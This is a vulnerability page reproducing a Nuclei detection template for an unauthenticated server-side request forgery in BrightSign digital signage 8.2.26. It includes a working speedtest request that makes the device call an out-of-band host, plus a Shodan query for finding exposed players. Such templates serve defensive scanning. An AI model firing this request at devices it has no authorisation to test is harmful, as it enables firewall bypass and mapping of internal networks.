CVE-2020-36884: BrightSign Digital Signage 8.2.26 - Server-Side Request Forgery

2026-06-17 BrightSign Digital Signage PoC Public

Description

Unauthenticated Server-Side Request Forgery (SSRF) vulnerability exists in the BrightSign digital signage media player affecting the Diagnostic Web Server (DWS). The application parses user supplied data in the 'url' GET parameter to construct a diagnostics request to the Download Speed Test service.

PoC

id: CVE-2020-36884

info:
  name: BrightSign Digital Signage 8.2.26 - Server-Side Request Forgery
  author: 0x_Akoko
  severity: medium
  description: |
    Unauthenticated Server-Side Request Forgery (SSRF) vulnerability exists in the BrightSign digital signage media player affecting the Diagnostic Web Server (DWS). The application parses user supplied data in the 'url' GET parameter to construct a diagnostics request to the Download Speed Test service.
  impact: |
    Attackers can bypass firewalls and enumerate internal network hosts by forcing arbitrary HTTP requests.
  remediation: |
    Update to a version later than 8.2.26 or the latest available version.
  reference:
    - https://brightsign.zendesk.com/hc/en-us/articles/360056180694-Regarding-Advisory-ID-ZSL-2020-5595
    - https://www.zeroscience.mk/codes/brightsign_ssrf.txt
    - https://nvd.nist.gov/vuln/detail/CVE-2020-36884
  classification:
    cve-id: CVE-2020-36884
    epss-score: 0.01119
    epss-percentile: 0.64489
    cwe-id: CWE-918
  metadata:
    verified: true
    max-request: 1
    shodan-query: title:"BrightSign"
  tags: cve,cve2020,ssrf,brightsign,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/speedtest?url={{interactsh-url}}'

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol # Confirms the HTTP Interaction
        words:
          - "http"

      - type: dsl
        dsl:
          - 'contains(body_1, "Downloaded")'
# digest: 4a0a00473045022100d991824328eb5acb0b001887924f0ecd88d484f782e694e6a39b2f1db0bdc406022058215f621154d3aaec3248ec3b051cda72958b3ab4e1979bb0b4181357f1d5b0:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2020/CVE-2020-36884.yaml

Related Vulnerabilities